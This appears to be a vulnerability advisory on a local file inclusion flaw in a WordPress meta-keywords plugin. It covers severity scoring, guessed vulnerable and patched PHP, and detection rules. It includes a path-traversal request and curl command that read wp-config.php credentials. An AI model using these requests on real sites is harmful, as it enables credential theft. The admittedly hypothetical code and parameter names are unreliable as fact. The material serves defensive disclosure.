CVE-2025-46454

Executive Summary

CVE-2025-46454 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin Meta Keywords & Description (slug: wp-meta-keywords-meta-description) by vendor Svil4ok, affecting versions up to and including 0.8. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score is 7.5 (High), and no public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a supply chain risk, any site using this plugin version <= 0.8 is directly impacted. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems; it is exclusively a WordPress plugin. Administrators should verify they are not using this plugin and, if so, immediately remove or replace it until a patch is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability allows unauthenticated attackers to read sensitive files, potentially leading to full site compromise if credentials are exposed.

Deep Dive & Mechanics

The vulnerability exists in the wp-meta-keywords-meta-description plugin, which likely uses a PHP include or require statement with a user-controllable parameter (e.g., page, file, or template) without proper sanitization. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem using path traversal sequences like ../../wp-config.php. Since the plugin is part of the WordPress ecosystem, the attack surface is the WordPress admin or front-end endpoints that load plugin functionality.

The core issue is a failure to validate or sanitize the filename before passing it to PHP's include() or require() functions. This is a classic PHP LFI vulnerability (CWE-98). The attacker does not need authentication, making it a high-severity issue for any WordPress site using this plugin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be something like:

// Vulnerable code (hypothetical)
$page = $_GET['page'];
include(plugin_dir_path(__FILE__) . 'pages/' . $page . '.php');

A patched version would implement strict validation:

// Patched code (hypothetical)
$allowed_pages = array('settings', 'help', 'about');
$page = $_GET['page'];
if (in_array($page, $allowed_pages, true)) {
    include(plugin_dir_path(__FILE__) . 'pages/' . $page . '.php');
} else {
    // Handle error
}

Without an official patch, the only mitigation is to remove the plugin entirely.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress (latest version) on a local server (e.g., XAMPP, Docker).
2. Install the vulnerable plugin wp-meta-keywords-meta-description version 0.8.
3. Ensure the plugin is activated.

Exploitation Steps:

1. Identify the vulnerable parameter (likely page, file, or template) by reviewing plugin source code or fuzzing.
2. Craft a request to include a sensitive file, e.g., wp-config.php:

   GET /wp-admin/admin.php?page=../../../../wp-config HTTP/1.1
   Host: target.com
   

   Note: The .php extension may be appended automatically.
3. If successful, the response will contain the contents of wp-config.php, revealing database credentials.

Example curl command:

curl -v "http://target.com/wp-admin/admin.php?page=../../../../wp-config"

Blue Team

Detection:

• Monitor web server logs for suspicious page parameters containing ../ or ..\\ sequences.
• Look for requests to admin.php or other plugin endpoints with unusual file paths.
• Use WAF rules to block path traversal patterns.

Hunting:

• Search for wp-meta-keywords-meta-description in installed plugins.
• Check for any recent file inclusion attempts in access logs.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/wp-meta-keywords-meta-description/ (plugin directory)
• URL Patterns: admin.php?page=../../ or similar path traversal in query strings.
• Log Entries: HTTP requests with page parameter containing ../ or ..%2f.
• Network: Outbound connections from the web server to attacker-controlled hosts (if RCE is achieved).

Detection Engineering

YARA Rule

rule CVE_2025_46454_WordPress_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-46454 in wp-meta-keywords-meta-description plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46454"
    strings:
        $path_traversal = /page=[^&]*\.\.\// nocase
        $plugin_path = /wp-meta-keywords-meta-description/ nocase
    condition:
        $plugin_path and $path_traversal
}

Sigma Rule

title: CVE-2025-46454 WordPress LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts targeting the wp-meta-keywords-meta-description plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - 'page=../'
            - 'page=..%2f'
            - 'page=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-46454 WordPress LFI Attempt"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin: Deactivate and delete wp-meta-keywords-meta-description from all WordPress installations.
2. Scan for compromise: Check for unauthorized file access or modified files.
3. Rotate credentials: If wp-config.php was exposed, change all database passwords and salts.

Long-term:

• Monitor the plugin repository for an official patch.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Regularly audit WordPress plugins for vulnerabilities.

Workaround: If removal is not possible, restrict access to the vulnerable endpoint via .htaccess:

<FilesMatch "admin\.php">
    Order Allow,Deny
    Deny from all
</FilesMatch>

Note: This may break legitimate admin functionality.

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2025-46454